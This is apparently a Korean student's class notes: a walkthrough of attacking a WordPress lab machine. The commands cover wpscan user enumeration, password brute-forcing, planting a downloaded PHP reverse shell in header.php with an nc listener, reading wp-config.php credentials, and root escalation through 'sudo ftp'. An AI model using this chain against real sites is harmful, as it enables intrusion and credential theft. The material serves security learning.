[normaltic 비기너 클래스 1기] 2023-10-04 Drill Course 3주차 내용 정리

2023. 10. 15. 17:16normaltic 비기너 클래스 1기/내용 정리

 

CMS(Contents Management System : 콘텐츠 관리 시스템)

 

CMS는 웹 사이트를 제작할 때 쓰이는 소프트웨어다. 웹 사이트 제작에 드는 시간과 비용을 절감시켜 주어 결과적으로 개발량을 덜어주는 역할을 한다. 간단히 말해서 웹 사이트 제작 프레임워크라고 생각하면 된다. 일반적으로 쓰이는 CMS로는 WordPress, Drupal 등이 존재한다.

 

WordPress

 

WordPress는 CMS 중 하나이며 전세계적으로 가장 점유율과 인기가 높다. 그러나 가장 많이 사용하는 만큼 공격에 취약한 환경에 놓여있다. WordPress는 많은 플러그인과 테마를 가지지만 사용하는 플러그인이나 테마가 보안적으로 취약한 경우도 있기 때문에 조심해서 사용해야 한다. 이번에는 WordPress로 웹 사이트를 제작한 시스템을 공격하는 유형에 대해서 알아보자.

 

Task 1을 이용하여 실습

 

 

nmap -sCV 10.10.62.131 > scan_res
cat scan_res

 

공격대상 시스템의 포트 스캔 결과 80번 포트가 열려있는 것을 확인할 수 있었다. 80번 포트는 웹 서비스를 제공하는 포트이므로 공격대상의 IP 주소를 웹 브라우저에 입력해보자.

 

 

공격대상의 IP 주소를 입력했더니 웹 사이트 하나가 응답하였다. 해당 웹 사이트는 WordPress를 이용하여 제작된 것을 확인할 수 있다.

 

 

wpscan --url http://10.10.62.131/

 

WordPress를 이용하여 제작한 웹 사이트 URL을 wpscan 명령어를 사용하여 입력해 주면 해당 웹 사이트의 WordPress에 대한 정보를 모두 스캔하여 출력해 준다. WordPress의 버전이라든지 어떤 플러그인을 썼는지 등 여러 정보를 얻을 수 있다.

 

wpscan --url http://10.10.62.131/ --enumerate u -t 100

 

--enumerate 옵션을 사용하면 해당 WordPress를 사용하는 계정들도 탐색할 수 있다. 현재 사용하고 있는 유저는 c0ldd, hugo, philip이 있는 걸로 확인되었다.

 

 

또한 알고 있는 계정에 한해 브루트 포싱 공격도 가능하다. c0ldd 계정에 브루트 포싱 공격을 하여 비밀번호를 알아내었다. 비밀번호는 '9876543210'으로 이 정보를 가지고 /wp-admin 페이지에서 로그인 시도를 해본다. /wp-admin는 WordPress를 사용하면 접근할 수 있는 페이지로 admin 계정이라면 로그인하여 콘텐츠를 관리할 수 있는 페이지로 안내해 준다.

 

 

관리자 페이지에 접근하면 다양한 php파일을 편집할 수 있다. 그중 Header 파일은 웹사이트의 상단 부분에 위치한 영역으로 보통 웹 사이트의 로고, 제목, 메뉴, 이미지 등이 위치하며 사이트의 디자인 요소 중 하나로 작용한다. 즉, 웹 사이트에 접속하면 무조건 호출하는 파일 중 하나라 볼 수 있다. 그렇다면 Header 파일에 php 리버스 쉘 코드를 추가해 놓으면 웹 사이트에 접속한 것 만으로 해당 시스템의 리버스 쉘을 작동시킬 수 있는 거나 마찬가지다.

 

 

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O reverse.php
ls -al
vi reverse.php

 

php 리버스 쉘을 다운로드하여 적합한 형태로 내용을 변경해 준 후 Header.php 파일에 php 코드를 복사한다.

 

 

nc -nlvp 7777
id
pwd

 

이제 공격자 시스템에서 설정해 놓은 포트를 열어 놓고 공격대상 시스템의 IP 주소를 입력하면 공격대상 시스템의 쉘을 획득할 수 있다.

 

 

cd /var/www/html
ls -al

 

WordPress를 사용하고 있는 웹 사이트라면 가장 먼저 확인해야 할 파일이 wp-config.php파일이다. 이 파일에는 WordPress와 연결되어 있는 DB 계정 정보가 있기 때문이다.

 

 

cat wp-config.php

 

wp-config.php파일의 내용을 출력한 결과 DB 계정은 'c0ldd'이고 비밀번호는 'cybersecurity'인 것을 확인할 수 있었다.

 

 

su c0ldd
id

 

DB에 접속하기 전에 크리덴셜 스터핑 공격으로 해당 시스템의 사용자로 전환했더니 c0ldd 계정으로 로그인이 가능했다.

 

 

sudo -l

 

사용자 계정으로 접속을 했으므로 해당 계정에 부여되어 있는 sudo 리스트를 확인해 보자. 확인 결과 root 권한으로 /usr/bin/vim, /bin/chmod, /usr/bin/ftp 명령어를 사용할 수 있다는 것을 알 수 있었다. 이 중 ftp 명령어를 사용하여 root 권한을 얻어보자.

 

 

sudo ftp
!/bin/sh

 

ftp 명령어를 사용하여 공격대상 시스템의 root 권한을 가진 쉘을 획득할 수 있었다.